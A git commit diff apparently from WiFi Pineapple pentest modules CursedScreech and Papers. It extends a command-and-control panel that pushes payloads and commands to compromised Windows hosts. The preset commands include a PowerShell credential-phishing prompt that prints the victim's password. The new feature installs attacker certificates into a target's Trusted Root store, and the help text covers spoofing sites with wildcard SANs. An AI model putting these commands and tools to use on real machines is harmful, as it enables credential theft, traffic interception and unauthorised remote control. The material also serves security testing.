Papers, CursedScreech, and Portal Auth Updates (#5)
parent
e7e15afdcb
commit
1f4f1248a7
|
@ -64,6 +64,9 @@ if (!empty($_FILES)) {
|
|||
class CursedScreech extends Module {
|
||||
public function route() {
|
||||
switch ($this->request->action) {
|
||||
case 'init':
|
||||
$this->init();
|
||||
break;
|
||||
case 'depends':
|
||||
$this->depends($this->request->task);
|
||||
break;
|
||||
|
@ -140,6 +143,27 @@ class CursedScreech extends Module {
|
|||
}
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* INIT FUNCTIONS */
|
||||
/* ============================ */
|
||||
|
||||
private function init() {
|
||||
if (!file_exists(__LOGS__)) {
|
||||
if (!mkdir(__LOGS__, 0755, true)) {
|
||||
$this->respond(false, "Failed to create logs directory");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_exists(__API_DL__)) {
|
||||
if (!mkdir(__API_DL__, 0755, true)) {
|
||||
$this->logError("Failed init", "Failed to initialize because the API download directory structure could not be created.");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* DEPENDS FUNCTIONS */
|
||||
/* ============================ */
|
||||
|
@ -422,7 +446,7 @@ class CursedScreech extends Module {
|
|||
$files = scandir(__API_DL__);
|
||||
$success = true;
|
||||
foreach ($files as $file) {
|
||||
if ($file == "." || $file == "..") {continue;}
|
||||
if (substr($file, 0, 1) == ".") {continue;}
|
||||
if (!unlink(__API_DL__ . $file)) {
|
||||
$success = false;
|
||||
}
|
||||
|
@ -449,7 +473,7 @@ class CursedScreech extends Module {
|
|||
$files = [];
|
||||
|
||||
foreach (scandir(__PAYLOADS__) as $file) {
|
||||
if ($file == "." || $file == "..") {continue;}
|
||||
if (substr($file, 0, 1) == ".") {continue;}
|
||||
$files[$file] = __PAYLOADS__;
|
||||
}
|
||||
$this->respond(true, null, $files);
|
||||
|
@ -521,7 +545,7 @@ class CursedScreech extends Module {
|
|||
$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
|
||||
$contents = array();
|
||||
foreach (scandir($dir) as $log) {
|
||||
if ($log == "." || $log == "..") {continue;}
|
||||
if (substr($log, 0, 1) == ".") {continue;}
|
||||
array_push($contents, $log);
|
||||
}
|
||||
$this->respond(true, null, $contents);
|
||||
|
@ -575,7 +599,7 @@ class CursedScreech extends Module {
|
|||
$keys = scandir($dir);
|
||||
$certs = array();
|
||||
foreach ($keys as $key) {
|
||||
if ($key == "." || $key == "..") {continue;}
|
||||
if (substr($key, 0, 1) == ".") {continue;}
|
||||
|
||||
$parts = explode(".", $key);
|
||||
$fname = $parts[0];
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
January 5, 2018
|
||||
<br /><br />
|
||||
- Modified hook into Papers to work with the latest release<br />
|
||||
- Added ability to install a certificate on a target Windows machine<br />
|
||||
|
|
@ -1,4 +1,5 @@
|
|||
Send File:C:\Temp\
|
||||
Install Cert:powershell "Import-Certificate -FilePath $cert -CertStoreLocation $store"
|
||||
Get PS Version:powershell "$PSVersionTable"
|
||||
Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL"
|
||||
Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}"
|
||||
|
|
|
@ -1,126 +1,126 @@
|
|||
from ssl import *
|
||||
from socket import *
|
||||
import time
|
||||
import os
|
||||
|
||||
# Pull settings from file
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/"
|
||||
activity_log = priv_key = pub_cer = client_key = client_serial = ""
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "kuro_key":
|
||||
priv_key = params[1] + ".pem"
|
||||
pub_cer = params[1] + ".cer"
|
||||
elif params[0] == "target_key":
|
||||
client_key = params[1] + ".cer"
|
||||
elif params[0] == "client_serial":
|
||||
client_serial = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def logReceivedData(data, file):
|
||||
with open(targetLogLocation + file, "a+") as tLog:
|
||||
tLog.write(data + "\n")
|
||||
|
||||
class Target:
|
||||
def __init__(self,addr=None,port=None):
|
||||
self.addr = addr
|
||||
self.port = int(port)
|
||||
self.socket = None
|
||||
self.msg = ""
|
||||
self.recvData = ""
|
||||
self.connected = False
|
||||
self.lastSeen = time.time()
|
||||
|
||||
def secureConnect(self):
|
||||
print "[>] Connecting to " + self.sockName()
|
||||
logActivity("[>] Connecting to " + self.sockName())
|
||||
|
||||
try:
|
||||
sck = socket(AF_INET, SOCK_STREAM)
|
||||
self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key)
|
||||
self.socket.settimeout(10)
|
||||
self.socket.connect((self.addr,self.port))
|
||||
self.socket.settimeout(None)
|
||||
|
||||
# Fetch the target's certificate to verify their identity
|
||||
cert = self.socket.getpeercert()
|
||||
if not cert['serialNumber'] == client_serial:
|
||||
logActivity("[-] Certificate serial number doesn't match.")
|
||||
self.disconnect()
|
||||
else:
|
||||
print "[+] Connected to " + self.sockName() + " via " + self.socket.version()
|
||||
logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version())
|
||||
self.connected = True
|
||||
|
||||
except error as sockerror:
|
||||
logActivity("[!] Failed to connect to " + self.sockName())
|
||||
self.connected = False
|
||||
|
||||
def send(self, data):
|
||||
if self.isConnected():
|
||||
|
||||
if "sendfile;" in data:
|
||||
dataParts = data.split(";")
|
||||
filePath = dataParts[1]
|
||||
storeDir = dataParts[2]
|
||||
self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir)
|
||||
with open(filePath, "rb") as f:
|
||||
self.socket.sendall(f.read())
|
||||
logActivity("[!] File sent to " + self.sockName())
|
||||
else:
|
||||
self.socket.sendall(data.encode())
|
||||
logActivity("[!] Command sent to " + self.sockName())
|
||||
logReceivedData(data, self.addr)
|
||||
|
||||
|
||||
def recv(self):
|
||||
try:
|
||||
d = self.socket.recv(4096)
|
||||
self.recvData = d.decode()
|
||||
|
||||
if not self.recvData:
|
||||
self.disconnect()
|
||||
return
|
||||
|
||||
logReceivedData(self.recvData, self.addr)
|
||||
logActivity("[+] Data received from: " + self.sockName())
|
||||
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
except:
|
||||
self.disconnect()
|
||||
|
||||
def isConnected(self):
|
||||
return self.connected
|
||||
|
||||
def sockName(self):
|
||||
return self.addr + ":" + str(self.port)
|
||||
|
||||
def disconnect(self):
|
||||
logActivity("[!] Closing connection to " + self.sockName())
|
||||
try:
|
||||
self.socket.shutdown(SHUT_RDWR)
|
||||
except:
|
||||
pass
|
||||
self.socket.close()
|
||||
self.connected = False
|
||||
|
||||
def setPort(self, port):
|
||||
self.port = int(port)
|
||||
|
||||
def isMissing(self, limit):
|
||||
if time.time() - self.lastSeen > limit:
|
||||
return True
|
||||
else:
|
||||
from ssl import *
|
||||
from socket import *
|
||||
import time
|
||||
import os
|
||||
|
||||
# Pull settings from file
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/"
|
||||
activity_log = priv_key = pub_cer = client_key = client_serial = ""
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "kuro_key":
|
||||
priv_key = params[1] + ".key"
|
||||
pub_cer = params[1] + ".cer"
|
||||
elif params[0] == "target_key":
|
||||
client_key = params[1] + ".cer"
|
||||
elif params[0] == "client_serial":
|
||||
client_serial = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def logReceivedData(data, file):
|
||||
with open(targetLogLocation + file, "a+") as tLog:
|
||||
tLog.write(data + "\n")
|
||||
|
||||
class Target:
|
||||
def __init__(self,addr=None,port=None):
|
||||
self.addr = addr
|
||||
self.port = int(port)
|
||||
self.socket = None
|
||||
self.msg = ""
|
||||
self.recvData = ""
|
||||
self.connected = False
|
||||
self.lastSeen = time.time()
|
||||
|
||||
def secureConnect(self):
|
||||
print "[>] Connecting to " + self.sockName()
|
||||
logActivity("[>] Connecting to " + self.sockName())
|
||||
|
||||
try:
|
||||
sck = socket(AF_INET, SOCK_STREAM)
|
||||
self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key)
|
||||
self.socket.settimeout(10)
|
||||
self.socket.connect((self.addr,self.port))
|
||||
self.socket.settimeout(None)
|
||||
|
||||
# Fetch the target's certificate to verify their identity
|
||||
cert = self.socket.getpeercert()
|
||||
if not cert['serialNumber'] == client_serial:
|
||||
logActivity("[-] Certificate serial number doesn't match.")
|
||||
self.disconnect()
|
||||
else:
|
||||
print "[+] Connected to " + self.sockName() + " via " + self.socket.version()
|
||||
logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version())
|
||||
self.connected = True
|
||||
|
||||
except error as sockerror:
|
||||
logActivity("[!] Failed to connect to " + self.sockName())
|
||||
self.connected = False
|
||||
|
||||
def send(self, data):
|
||||
if self.isConnected():
|
||||
|
||||
if "sendfile;" in data:
|
||||
dataParts = data.split(";")
|
||||
filePath = dataParts[1]
|
||||
storeDir = dataParts[2]
|
||||
self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir)
|
||||
with open(filePath, "rb") as f:
|
||||
self.socket.sendall(f.read())
|
||||
logActivity("[!] File sent to " + self.sockName())
|
||||
else:
|
||||
self.socket.sendall(data.encode())
|
||||
logActivity("[!] Command sent to " + self.sockName())
|
||||
logReceivedData(data, self.addr)
|
||||
|
||||
|
||||
def recv(self):
|
||||
try:
|
||||
d = self.socket.recv(4096)
|
||||
self.recvData = d.decode()
|
||||
|
||||
if not self.recvData:
|
||||
self.disconnect()
|
||||
return
|
||||
|
||||
logReceivedData(self.recvData, self.addr)
|
||||
logActivity("[+] Data received from: " + self.sockName())
|
||||
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
except:
|
||||
self.disconnect()
|
||||
|
||||
def isConnected(self):
|
||||
return self.connected
|
||||
|
||||
def sockName(self):
|
||||
return self.addr + ":" + str(self.port)
|
||||
|
||||
def disconnect(self):
|
||||
logActivity("[!] Closing connection to " + self.sockName())
|
||||
try:
|
||||
self.socket.shutdown(SHUT_RDWR)
|
||||
except:
|
||||
pass
|
||||
self.socket.close()
|
||||
self.connected = False
|
||||
|
||||
def setPort(self, port):
|
||||
self.port = int(port)
|
||||
|
||||
def isMissing(self, limit):
|
||||
if time.time() - self.lastSeen > limit:
|
||||
return True
|
||||
else:
|
||||
return False
|
|
@ -23,7 +23,7 @@ while [ "$#" -gt 0 ]
|
|||
do
|
||||
|
||||
if [[ "$1" == "-k" ]]; then
|
||||
KEY="$2.pem"
|
||||
KEY="$2.key"
|
||||
fi
|
||||
if [[ "$1" == "-d" ]]; then
|
||||
KEYDIR="$2"
|
||||
|
|
|
@ -51,6 +51,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
$scope.newCmdName = "";
|
||||
$scope.newCmdCommand = "";
|
||||
$scope.checkAllTargets = false;
|
||||
$scope.target_installKey = "";
|
||||
$scope.certStores = [
|
||||
{"ID":"Root", "Name":"Trusted Root Certification Authorities"},
|
||||
{"ID":"My", "Name":"Personal"},
|
||||
{"ID":"Remote Desktop", "Name":"Remote Desktop"},
|
||||
{"ID":"Trust", "Name":"Enterprise Trust"},
|
||||
{"ID":"CA", "Name":"Intermediate Certification Authorities"},
|
||||
{"ID":"SmartCardRoot", "Name":"Smart Card Trusted Roots"},
|
||||
{"ID":"TrustedPublisher", "Name":"Trusted Publishers"},
|
||||
{"ID":"TrustedPeople", "Name":"Trusted People"},
|
||||
{"ID":"ClientAuthIssuer", "Name":"Client Authentication Issuers"},
|
||||
{"ID":"eSIM Certification Authorities", "Name":"eSIM Certification Authorities"},
|
||||
{"ID":"Windows Live ID Token Issuer", "Name":"Windows Live ID Token Issuer"},
|
||||
{"ID":"Homegroup Machine Certificates", "Name":"Homegroup Machine Certificates"}
|
||||
];
|
||||
$scope.selectedCertStore = $scope.certStores[0];
|
||||
|
||||
// Panes
|
||||
$scope.showTargetPane = true;
|
||||
|
@ -62,6 +78,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
$scope.uploading = false;
|
||||
$scope.selectedPayload = "";
|
||||
$scope.showPayloadSelect = false;
|
||||
$scope.showCertSelect = false;
|
||||
|
||||
// Interval vars
|
||||
$scope.stop;
|
||||
|
@ -313,6 +330,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
if ($scope.showPayloadSelect) {
|
||||
// ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\"
|
||||
cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand;
|
||||
} else if ($scope.showCertSelect) {
|
||||
cmd = "sendfile;" + $scope.target_installKey + ";" + getEZCmd("Send File");
|
||||
} else {
|
||||
cmd = $scope.targetCommand;
|
||||
}
|
||||
|
@ -321,7 +340,23 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
action: 'sendCommand',
|
||||
command: cmd,
|
||||
targets: checkedTargets
|
||||
},function(response){});
|
||||
},function(response){
|
||||
|
||||
// Make a second API call to install the certificate
|
||||
if ($scope.showCertSelect) {
|
||||
|
||||
cmd = $scope.targetCommand.replace("$cert", getEZCmd("Send File") + $scope.target_installKey.split("/").slice(-1)[0]).replace("$store", "'Cert:\\LocalMachine\\" + $scope.selectedCertStore.ID + "'")
|
||||
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'sendCommand',
|
||||
command: cmd,
|
||||
targets: checkedTargets
|
||||
},function(response){});
|
||||
|
||||
}
|
||||
|
||||
});
|
||||
});
|
||||
|
||||
function getTargetIndex(sock){
|
||||
|
@ -458,23 +493,27 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
});
|
||||
|
||||
$scope.ezCommandChange = (function(){
|
||||
$scope.showPayloadSelect = false;
|
||||
$scope.showCertSelect = false;
|
||||
if ($scope.selectedCmd === null) {
|
||||
$scope.targetCommand = "";
|
||||
$scope.showPayloadSelect = false;
|
||||
return;
|
||||
}
|
||||
for (key in $scope.ezcmds) {
|
||||
if ($scope.ezcmds[key] == $scope.selectedCmd) {
|
||||
if (key == "Send File") {
|
||||
$scope.showPayloadSelect = true;
|
||||
} else {
|
||||
$scope.showPayloadSelect = false;
|
||||
} else if (key == "Install Cert") {
|
||||
$scope.showCertSelect = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
$scope.targetCommand = $scope.selectedCmd;
|
||||
});
|
||||
|
||||
function getEZCmd(key) {
|
||||
return $scope.ezcmds[key];
|
||||
}
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN KEY FUNCTIONS */
|
||||
|
@ -484,9 +523,15 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
if (type == "kuro") {
|
||||
$scope.selectKuroKey = true;
|
||||
$scope.selectTargetKey = false;
|
||||
$scope.selectInstallKey = false;
|
||||
} else if (type == "target") {
|
||||
$scope.selectTargetKey = true;
|
||||
$scope.selectKuroKey = false;
|
||||
$scope.selectInstallKey = false;
|
||||
} else if (type == "install") {
|
||||
$scope.selectInstallKey = true;
|
||||
$scope.selectKuroKey = false;
|
||||
$scope.selectTargetKey = false;
|
||||
}
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
|
@ -509,6 +554,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
$scope.settings_kuroKey = keyPath;
|
||||
} else if ($scope.selectTargetKey == true) {
|
||||
$scope.settings_targetKey = keyPath;
|
||||
} else if ($scope.selectInstallKey == true) {
|
||||
$scope.target_installKey = keyPath + ".cer";
|
||||
}
|
||||
});
|
||||
|
||||
|
@ -636,7 +683,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
$http.post("/modules/CursedScreech/api/module.php", fd, {
|
||||
transformRequest: angular.identity,
|
||||
headers: {'Content-Type': undefined}
|
||||
}).success(function(response) {
|
||||
}).then(function(response) {
|
||||
for (var key in response) {
|
||||
if (response.hasOwnProperty(key)) {
|
||||
if (response.key == "Failed") {
|
||||
|
@ -711,6 +758,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
|
|||
$scope.stop = undefined;
|
||||
});
|
||||
|
||||
$scope.init = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'init'
|
||||
},function(response){
|
||||
if (response.success == false) {
|
||||
if (response.message != '') {
|
||||
$scope.getLogs();
|
||||
} else {
|
||||
alert(response.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.init();
|
||||
$scope.loadAvailableInterfaces();
|
||||
$scope.loadSettings();
|
||||
$scope.loadEZCmds();
|
||||
|
|
|
@ -234,14 +234,27 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
|
|||
<option value="" selected>Select...</option>
|
||||
</select>
|
||||
<br />
|
||||
<div ng-show="showPayloadSelect">
|
||||
<div ng-show="showPayloadSelect" ng-hide="!showPayloadSelect">
|
||||
<select ng-disabled="kuroButton=='Start'" class="form-control" ng-model="selectedPayload" ng-options="payload.fileName for payload in payloads">
|
||||
<option value="" disabled selected>Select Payload...</option>
|
||||
</select>
|
||||
<br />
|
||||
<h4>Remote upload path</h4>
|
||||
</div>
|
||||
<input type="text" ng-model="targetCommand" class="form-control block" ng-disabled="kuroButton=='Start'" placeholder="Send command to target"><br />
|
||||
<div ng-show="showCertSelect" ng-hide="!showCertSelect">
|
||||
<div class="row form-group">
|
||||
<div class="col-md-6">
|
||||
<input type="text" ng-model="target_installKey" class="form-control" placeholder="Select Certificate...">
|
||||
</div>
|
||||
<div class="col-md-2">
|
||||
<button type="button" class="btn btn-sm" data-toggle="modal" data-target="#cs_keyModal" ng-click="loadCertificates('install');">SSL Store</button>
|
||||
</div>
|
||||
</div>
|
||||
<h4>Certificate Store</h4>
|
||||
<select ng-disabled="kuroButton=='Start'" class="form-control" ng-model="selectedCertStore" ng-options="store.Name for store in certStores">
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" ng-model="targetCommand" class="form-control block" ng-show="!showCertSelect" ng-hide="showCertSelect" ng-disabled="kuroButton=='Start'" placeholder="Send command to target"><br />
|
||||
<table style="width: 100%">
|
||||
<tr><td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" style="width: 100px;" ng-disabled="kuroButton=='Start'" ng-click="sendCommand();">Send</button>
|
||||
|
@ -397,7 +410,7 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
|
|||
<tbody>
|
||||
<tr ng-repeat="(key, value) in ezcmds">
|
||||
<td>
|
||||
<button type="button" class="btn cs_hoverDanger" ng-disabled="key == 'Send File'" ng-click="deleteEZCmd(key);"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/></button>
|
||||
<button type="button" class="btn cs_hoverDanger" ng-disabled="key == 'Send File' || key == 'Install Cert'" ng-click="deleteEZCmd(key);"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/></button>
|
||||
</td>
|
||||
<td style="width: 200px">
|
||||
<label class="form-label">{{ key }}</label>
|
||||
|
|
|
@ -6,5 +6,5 @@
|
|||
"tetra"
|
||||
],
|
||||
"title": "CursedScreech",
|
||||
"version": "1.2"
|
||||
}
|
||||
"version": "1.3"
|
||||
}
|
||||
|
|
|
@ -10,11 +10,10 @@ define('__CHANGELOGS__', __INCLUDES__ . "changelog/");
|
|||
define('__HELPFILES__', __INCLUDES__ . "help/");
|
||||
define('__DOWNLOAD__', __INCLUDES__ . "download/");
|
||||
define('__UPLOAD__', __INCLUDES__ . "upload/");
|
||||
define('__SSL_TEMPLATE__', __SCRIPTS__ . "ssl.cnf");
|
||||
|
||||
/*
|
||||
Determine the type of file that has been uploaded and move it to the appropriate
|
||||
directory. If it's a .zip it is an injection set and will be unpacked. If it is
|
||||
an .exe it will be moved to __WINDL__, etc.
|
||||
Import keys
|
||||
*/
|
||||
if (!empty($_FILES)) {
|
||||
$response = [];
|
||||
|
@ -55,6 +54,9 @@ class Papers extends Module
|
|||
{
|
||||
public function route() {
|
||||
switch ($this->request->action) {
|
||||
case 'init':
|
||||
$this->init();
|
||||
break;
|
||||
case 'checkDepends':
|
||||
$this->checkDepends();
|
||||
break;
|
||||
|
@ -105,6 +107,38 @@ class Papers extends Module
|
|||
break;
|
||||
}
|
||||
}
|
||||
private function init() {
|
||||
if (!file_exists(__LOGS__)) {
|
||||
if (!mkdir(__LOGS__, 0755, true)) {
|
||||
$this->respond(false, "Failed to create logs directory");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_exists(__DOWNLOAD__)) {
|
||||
if (!mkdir(__DOWNLOAD__, 0755, true)) {
|
||||
Papers::logError("Failed init", "Failed to initialize because the 'download' directory structure could not be created");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_exists(__SSLSTORE__)) {
|
||||
if (!mkdir(__SSLSTORE__, 0755, true)) {
|
||||
Papers::logError("Failed init", "Failed to initialize because the 'ssl store' directory structure could not be created");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_exists(__SSHSTORE__)) {
|
||||
if (!mkdir(__SSHSTORE__, 0755, true)) {
|
||||
Papers::logError("Failed init", "Failed to initialize because the 'ssh store' directory structure could not be created");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
private function checkDepends() {
|
||||
$retData = array();
|
||||
exec(__SCRIPTS__ . "checkDepends.sh", $retData);
|
||||
|
@ -159,6 +193,7 @@ class Papers extends Module
|
|||
}
|
||||
private function buildCert($paramsObj) {
|
||||
$certInfo = array();
|
||||
$req = array();
|
||||
$params = (array)$paramsObj;
|
||||
|
||||
$keyName = (array_key_exists('keyName', $params)) ? $params['keyName'] : "newCert";
|
||||
|
@ -174,28 +209,21 @@ class Papers extends Module
|
|||
if (array_key_exists('bitSize', $params)) {
|
||||
$certInfo['-b'] = $params['bitSize'];
|
||||
}
|
||||
if (array_key_exists('country', $params)) {
|
||||
$certInfo['-c'] = $params['country'];
|
||||
}
|
||||
if (array_key_exists('state', $params)) {
|
||||
$certInfo['-st'] = $params['state'];
|
||||
}
|
||||
if (array_key_exists('city', $params)) {
|
||||
$certInfo['-l'] = $params['city'];
|
||||
}
|
||||
if (array_key_exists('organization', $params)) {
|
||||
$certInfo['-o'] = $params['organization'];
|
||||
}
|
||||
if (array_key_exists('section', $params)) {
|
||||
$certInfo['-ou'] = $params['section'];
|
||||
}
|
||||
if (array_key_exists('commonName', $params)) {
|
||||
$certInfo['-cn'] = $params['commonName'];
|
||||
}
|
||||
if (array_key_exists('email', $params)) {
|
||||
$certInfo['-email'] = $params['email'];
|
||||
|
||||
$req[':C:'] = array_key_exists('country', $params) ? $params['country'] : "US";
|
||||
$req[':ST:'] = array_key_exists('state', $params) ? $params['state'] : "CA";
|
||||
$req[':LOC:'] = array_key_exists('city', $params) ? $params['city'] : "San Jose";
|
||||
$req[':ORG:'] = array_key_exists('organization', $params) ? $params['organization'] : "SecTrust";
|
||||
$req[':OU:'] = array_key_exists('section', $params) ? $params['section'] : "Certificate Issue";
|
||||
$req[':COM:'] = array_key_exists('commonName', $params) ? $params['commonName'] : $keyName;
|
||||
|
||||
if (array_key_exists('sans', $params)) {
|
||||
$req[':SAN:'] = $params['sans'];
|
||||
}
|
||||
|
||||
// Generate an OpenSSL config file
|
||||
$certInfo['--config'] = $this->generateSSLConfig($keyName, $req);
|
||||
|
||||
// Build the argument string to pass to buildCert.sh
|
||||
foreach ($certInfo as $k => $v) {
|
||||
$argString .= $k . " \"" . $v . "\" ";
|
||||
|
@ -210,6 +238,9 @@ class Papers extends Module
|
|||
$this->respond(false, "Failed to build key pair. Check the logs for details.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Delete the OpenSSL conf file
|
||||
unlink($certInfo['--config']);
|
||||
|
||||
if (array_key_exists('container', $params) || array_key_exists('encrypt', $params)) {
|
||||
$cryptInfo = array();
|
||||
|
@ -256,6 +287,39 @@ class Papers extends Module
|
|||
}
|
||||
$this->respond(true, "Keys created successfully!");
|
||||
}
|
||||
|
||||
/*
|
||||
Generates an OpenSSL config file based on the passed in requirements ($req)
|
||||
and returns the path to the file.
|
||||
*/
|
||||
private function generateSSLConfig($keyName, $req) {
|
||||
$conf = file_get_contents(__SSL_TEMPLATE__);
|
||||
|
||||
foreach ($req as $k => $v) {
|
||||
$conf = str_replace($k, $v, $conf);
|
||||
}
|
||||
|
||||
// Add the common name as a SAN
|
||||
$conf .= "\nDNS.1 = " . $req[':COM:'];
|
||||
|
||||
// Add additional SANs if they were provided
|
||||
if (isset($req[':SAN:'])) {
|
||||
$x = 2;
|
||||
foreach (explode(",", $req[':SAN:']) as $san) {
|
||||
|
||||
// Skip the common name if it was included in the list since
|
||||
// we already added it above
|
||||
if ($san == $req[':COM:']) { continue; }
|
||||
|
||||
$conf .= "\nDNS." . $x . " = " . $san;
|
||||
$x++;
|
||||
}
|
||||
}
|
||||
|
||||
$path = __SCRIPTS__ . hash('md5', $keyName . time()) . ".cnf";
|
||||
file_put_contents($path, $conf);
|
||||
return $path;
|
||||
}
|
||||
|
||||
private function loadCertificates() {
|
||||
$certs = $this->getKeys(__SSLSTORE__);
|
||||
|
@ -268,7 +332,7 @@ class Papers extends Module
|
|||
$keys = scandir($dir);
|
||||
$certs = array();
|
||||
foreach ($keys as $key) {
|
||||
if ($key == "." || $key == "..") {continue;}
|
||||
if (substr($key, 0, 1) == ".") {continue;}
|
||||
|
||||
$parts = explode(".", $key);
|
||||
$fname = $parts[0];
|
||||
|
@ -323,7 +387,7 @@ class Papers extends Module
|
|||
$contents = scandir($keyDir);
|
||||
$certs = array();
|
||||
foreach ($contents as $cert) {
|
||||
if ($cert == "." || $cert == "..") {continue;}
|
||||
if (substr($cert, 0, 1) == ".") {continue;}
|
||||
$parts = explode(".", $cert);
|
||||
$fname = $parts[0];
|
||||
$type = "." . $parts[1];
|
||||
|
@ -356,7 +420,7 @@ class Papers extends Module
|
|||
|
||||
private function clearDownloadArchive() {
|
||||
foreach (scandir(__DOWNLOAD__) as $file) {
|
||||
if ($file == "." || $file == "..") {continue;}
|
||||
if (substr($file, 0, 1) == ".") {continue;}
|
||||
unlink(__DOWNLOAD__ . $file);
|
||||
}
|
||||
$files = glob(__DOWNLOAD__ . "*");
|
||||
|
@ -380,7 +444,7 @@ class Papers extends Module
|
|||
$msg = "Failed to delete the following files:";
|
||||
$keyDir = ($keyType == "SSH") ? __SSHSTORE__ : __SSLSTORE__;
|
||||
foreach (scandir($keyDir) as $cert) {
|
||||
if ($cert == "." || $cert == "..") {continue;}
|
||||
if (substr($cert, 0, 1) == ".") {continue;}
|
||||
if (explode(".",$cert)[0] == $delCert) {
|
||||
if (!unlink($keyDir . $cert)) {
|
||||
$res = False;
|
||||
|
@ -527,7 +591,7 @@ class Papers extends Module
|
|||
$dir = ($type == "error") ? __LOGS__ : __CHANGELOGS__;
|
||||
$contents = array();
|
||||
foreach (scandir($dir) as $log) {
|
||||
if ($log == "." || $log == "..") {continue;}
|
||||
if (substr($log, 0, 1) == ".") {continue;}
|
||||
array_push($contents, $log);
|
||||
}
|
||||
$this->respond(true, null, $contents);
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
January 3, 2018<br /></br >
|
||||
- Added option to include SANs in certificates<br />
|
||||
- Changed key output from .pem to .key<br />
|
||||
- Added default Certificate Info if none is included in the build request<br />
|
||||
- Fixed a bug where the Certificate Info fields remained after switching to SSH key build mode<br />
|
|
@ -20,7 +20,12 @@ This value indicates how long the certificate will be valid. A default value of
|
|||
|
||||
|
||||
<strong>Signature Algorithm</strong><br />
|
||||
SHA-1 is considered to be too weak these days, or it will be soon enough, so SHA-256 is selected by default.
|
||||
SHA-1 has officially been broken so SHA-256 is selected by default.
|
||||
<br /><br />
|
||||
|
||||
|
||||
<strong>Subject Alternative Names (SAN)</strong><br />
|
||||
A comma-delimited list of SANs. These are alternative names that will be considered valid when verifying the certificate. For example if you're spoofing multiple sites during a pentest you'll want to add SANs (*.company1.com, *.company2.com, *.com).
|
||||
<br /><br />
|
||||
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ help() {
|
|||
echo -e '\t-o,--orgnaization:\t\tOrganization';
|
